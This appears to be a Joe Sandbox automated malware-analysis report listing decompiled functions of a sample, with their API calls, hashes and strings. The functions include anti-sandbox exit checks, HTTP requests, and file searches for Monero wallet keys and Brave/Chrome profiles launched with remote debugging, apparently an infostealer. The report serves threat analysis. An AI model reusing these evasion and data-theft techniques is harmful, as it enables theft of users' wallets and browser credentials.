                                      • API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
                                      • String ID:
                                      • API String ID: 2525456742-0
                                      • Opcode ID: c4b232b769db095cf2265ad6b32c3a070cad01f5508a16ea2ea47a546685c61e
                                      • Instruction ID: 8f72a9f66aa509df05976e767eb0c67a0b5fc2b057e8f7a20bad7bac1e6c9ea4
                                      • Opcode Fuzzy Hash: c4b232b769db095cf2265ad6b32c3a070cad01f5508a16ea2ea47a546685c61e
                                      • Instruction Fuzzy Hash: C4310670A84209ABDB48FBE0DC56EFF767ABF44340F44091DF212661D2DF706A458A6A
                                      Function 005F1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 1436 5f1220-5f1247 call 608b40 GlobalMemoryStatusEx 1439 5f1249-5f1271 call 60dd30 * 2 1436->1439 1440 5f1273-5f127a 1436->1440 1442 5f1281-5f1285 1439->1442 1440->1442 1444 5f129a-5f129d 1442->1444 1445 5f1287 1442->1445 1447 5f1289-5f1290 1445->1447 1448 5f1292-5f1294 ExitProcess 1445->1448 1447->1444 1447->1448
                                      APIs
                                      • GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 005F123E
                                      • __aulldiv.LIBCMT ref: 005F1258
                                      • __aulldiv.LIBCMT ref: 005F1266
                                      • ExitProcess.KERNEL32 ref: 005F1294
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: __aulldiv$ExitGlobalMemoryProcessStatus
                                      • String ID: @
                                      • API String ID: 3404098578-2766056989
                                      • Opcode ID: 287f23533d8597b1f382b5e2a9151c12495fc04db1b762f138fdadd1e6b94078
                                      • Instruction ID: f73d52909457dd12b05b18bae5bce6e4aa12b468b2fbca872b4bde105fee9188
                                      • Opcode Fuzzy Hash: 287f23533d8597b1f382b5e2a9151c12495fc04db1b762f138fdadd1e6b94078
                                      • Instruction Fuzzy Hash: BA0146B0980308EAEB10EFE1CC4ABAEBB79BB14705F608449E705BA2C0C7B855418B5D
                                      Function 00606D93 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 1450 606d93 1451 606daa 1450->1451 1453 606d5a-606d77 call 60ade0 OpenEventA 1451->1453 1454 606dac-606dc2 call 606bc0 call 605d60 CloseHandle ExitProcess 1451->1454 1460 606d95-606da4 CloseHandle Sleep 1453->1460 1461 606d79-606d91 call 60ade0 CreateEventA 1453->1461 1460->1451 1461->1454
                                      APIs
                                      • OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00F48AB8,?,006110F4,?,00000000,?,006110F8,?,00000000,00610AF3), ref: 00606D6A
                                      • CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00606D88
                                      • CloseHandle.KERNEL32(00000000), ref: 00606D99
                                      • Sleep.KERNEL32(00001770), ref: 00606DA4
                                      • CloseHandle.KERNEL32(?,00000000,?,00F48AB8,?,006110F4,?,00000000,?,006110F8,?,00000000,00610AF3), ref: 00606DBA
                                      • ExitProcess.KERNEL32 ref: 00606DC2
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: CloseEventHandle$CreateExitOpenProcessSleep
                                      • String ID:
                                      • API String ID: 941982115-0
                                      • Opcode ID: 48ae049d7774300491594b0bcb781d871db9155a3523763af6338b8dcd8ffbe9
                                      • Instruction ID: 1f77c492d02587d24980f0089faa4110a0f047818270ad607baed96e3f41189f
                                      • Opcode Fuzzy Hash: 48ae049d7774300491594b0bcb781d871db9155a3523763af6338b8dcd8ffbe9
                                      • Instruction Fuzzy Hash: D7F05830AC8209AFEB48BBA0DC0ABBF7376FF04742F14051AB512A51D0DBB05511CA69
                                      Function 005F4800 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      APIs
                                      • lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005F4889
                                      • InternetCrackUrlA.WININET(00000000,00000000), ref: 005F4899
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: CrackInternetlstrlen
                                      • String ID: <
                                      • API String ID: 1274457161-4251816714
                                      • Opcode ID: 79b1c899a5632e4cf35dd9339ecfde65b2eef90588a413bf0f458c4b0c323d17
                                      • Instruction ID: 975fae1b868a3ed4a74d8190d2e0e4e6d0ac200cc510b1414d3a4071a6736d25
                                      • Opcode Fuzzy Hash: 79b1c899a5632e4cf35dd9339ecfde65b2eef90588a413bf0f458c4b0c323d17
                                      • Instruction Fuzzy Hash: 352142B1D40209ABDF14DFA4E845ADE7B75FF44350F108625F515A72C0EB706605CF91
                                      Function 00605440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      APIs
                                        • Part of subcall function 0060AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0060AAF6
                                        • Part of subcall function 005F62D0: InternetOpenA.WININET(00610DFF,00000001,00000000,00000000,00000000), ref: 005F6331
                                        • Part of subcall function 005F62D0: StrCmpCA.SHLWAPI(?,00F4FD10), ref: 005F6353
                                        • Part of subcall function 005F62D0: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005F6385
                                        • Part of subcall function 005F62D0: HttpOpenRequestA.WININET(00000000,GET,?,00F4F4E8,00000000,00000000,00400100,00000000), ref: 005F63D5
                                        • Part of subcall function 005F62D0: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 005F640F
                                        • Part of subcall function 005F62D0: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005F6421
                                      • StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00605478
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
                                      • String ID: ERROR$ERROR
                                      • API String ID: 3287882509-2579291623
                                      • Opcode ID: 717f546711a80aef71ec6c4362653d061c855e3aca5c90f09dd377409c4884a6
                                      • Instruction ID: 5c0759a56ad5ca0c529043652b61fa0acdabf70ed1285eb6f3dda8b97adcc07b
                                      • Opcode Fuzzy Hash: 717f546711a80aef71ec6c4362653d061c855e3aca5c90f09dd377409c4884a6
                                      • Instruction Fuzzy Hash: EE1121309502089BCB58FFA4DD52AEE773AAF50380F80455CF91A5B4D2EF30AB44CA55
                                      Function 00607A70 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetProcessHeap.KERNEL32(00000000,00000104), ref: 00607AA0
                                      • RtlAllocateHeap.NTDLL(00000000), ref: 00607AA7
                                      • GetComputerNameA.KERNEL32(?,00000104), ref: 00607ABF
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Heap$AllocateComputerNameProcess
                                      • String ID:
                                      • API String ID: 1664310425-0
                                      • Opcode ID: e3512950b79634b7e4067246c84191a96511c1c17bde9177d7a47c7990233bd8
                                      • Instruction ID: 6671d3de4b9baf0f3fcb6c6b44e94d54a63fb6445d2d712a6ae58dfa09bdba38
                                      • Opcode Fuzzy Hash: e3512950b79634b7e4067246c84191a96511c1c17bde9177d7a47c7990233bd8
                                      • Instruction Fuzzy Hash: 8D0186B1A88249ABD704CF99DD45FAFBBB8FB04711F100219F506E22C0D7B45A008BA1
                                      Function 005F1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 005F112B
                                      • VirtualAllocExNuma.KERNEL32(00000000), ref: 005F1132
                                      • ExitProcess.KERNEL32 ref: 005F1143
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Process$AllocCurrentExitNumaVirtual
                                      • String ID:
                                      • API String ID: 1103761159-0
                                      • Opcode ID: 4a46152fff45ee92e7d3e7d049d5b007cd3ccc34508f085fdfc53511698f4540
                                      • Instruction ID: 8b45a1b4db11d8e07e674a6aa9801c1615c73212e7b55d7c94bf92273aa711cd
                                      • Opcode Fuzzy Hash: 4a46152fff45ee92e7d3e7d049d5b007cd3ccc34508f085fdfc53511698f4540
                                      • Instruction Fuzzy Hash: FBE0E67094930DFBE7105B91DD0EF5D7A7CBB04B16F104155F709761D0C6B525409A5D
                                      Function 005F10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 005F10B3
                                      • VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 005F10F7
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Virtual$AllocFree
                                      • String ID:
                                      • API String ID: 2087232378-0
                                      • Opcode ID: 690d959f7e85c3976eeb8c865cdf77a6bc02236c0a178eca2e9d9aa49e139bfd
                                      • Instruction ID: ad697945713ea808260f4e0043166895192d2048327b6dd22bd0594265d5f579
                                      • Opcode Fuzzy Hash: 690d959f7e85c3976eeb8c865cdf77a6bc02236c0a178eca2e9d9aa49e139bfd
                                      • Instruction Fuzzy Hash: 49F082B1681218BBE714AAA4AC59FAFB7ECF705B05F300448F645E7280DA759F009AA4
                                      Function 005F1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 00607A70: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00607AA0
                                        • Part of subcall function 00607A70: RtlAllocateHeap.NTDLL(00000000), ref: 00607AA7
                                        • Part of subcall function 00607A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00607ABF
                                        • Part of subcall function 006079E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005F11B7), ref: 00607A10
                                        • Part of subcall function 006079E0: RtlAllocateHeap.NTDLL(00000000), ref: 00607A17
                                        • Part of subcall function 006079E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00607A2F
                                      • ExitProcess.KERNEL32 ref: 005F11C6
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Heap$Process$AllocateName$ComputerExitUser
                                      • String ID:
                                      • API String ID: 3550813701-0
                                      • Opcode ID: b1a7d17311435c714b054470e411b17584f0a531121d9d2e181f83006e9d681d
                                      • Instruction ID: 8ea951406bdbb942088e7adaadffee3d20ccf435d5520fbd42d59706ad6c37dc
                                      • Opcode Fuzzy Hash: b1a7d17311435c714b054470e411b17584f0a531121d9d2e181f83006e9d681d
                                      • Instruction Fuzzy Hash: 39E0ECA594460597CA54B3B56C06F6B369D6B1430AF040818FA0492182FE35F8108669

                                      Non-executed Functions

                                      Function 005FBE40 Relevance: 58.5, APIs: 26, Strings: 7, Instructions: 730fileCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                        • Part of subcall function 0060AC30: lstrcpy.KERNEL32(00000000,?), ref: 0060AC82
                                        • Part of subcall function 0060AC30: lstrcat.KERNEL32(00000000), ref: 0060AC92
                                        • Part of subcall function 0060ACC0: lstrlen.KERNEL32(?,00F489C8,?,\Monero\wallet.keys,00610E1A), ref: 0060ACD5
                                        • Part of subcall function 0060ACC0: lstrcpy.KERNEL32(00000000), ref: 0060AD14
                                        • Part of subcall function 0060ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0060AD22
                                        • Part of subcall function 0060ABB0: lstrcpy.KERNEL32(?,00610E1A), ref: 0060AC15
                                      • FindFirstFileA.KERNEL32(00000000,?,00610B32,00610B2F,00000000,?,?,?,00611450,00610B2E), ref: 005FBEC5
                                      • StrCmpCA.SHLWAPI(?,00611454), ref: 005FBF33
                                      • StrCmpCA.SHLWAPI(?,00611458), ref: 005FBF49
                                      • FindNextFileA.KERNEL32(000000FF,?), ref: 005FC8A9
                                      • FindClose.KERNEL32(000000FF), ref: 005FC8BB
                                      Strings
                                      • --remote-debugging-port=9229 --profile-directory=", xrefs: 005FC534
                                      • Brave, xrefs: 005FC0E8
                                      • \Brave\Preferences, xrefs: 005FC1C1
                                      • Preferences, xrefs: 005FC104
                                      • --remote-debugging-port=9229 --profile-directory=", xrefs: 005FC3B2
                                      • --remote-debugging-port=9229 --profile-directory=", xrefs: 005FC495
                                      • Google Chrome, xrefs: 005FC6F8
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
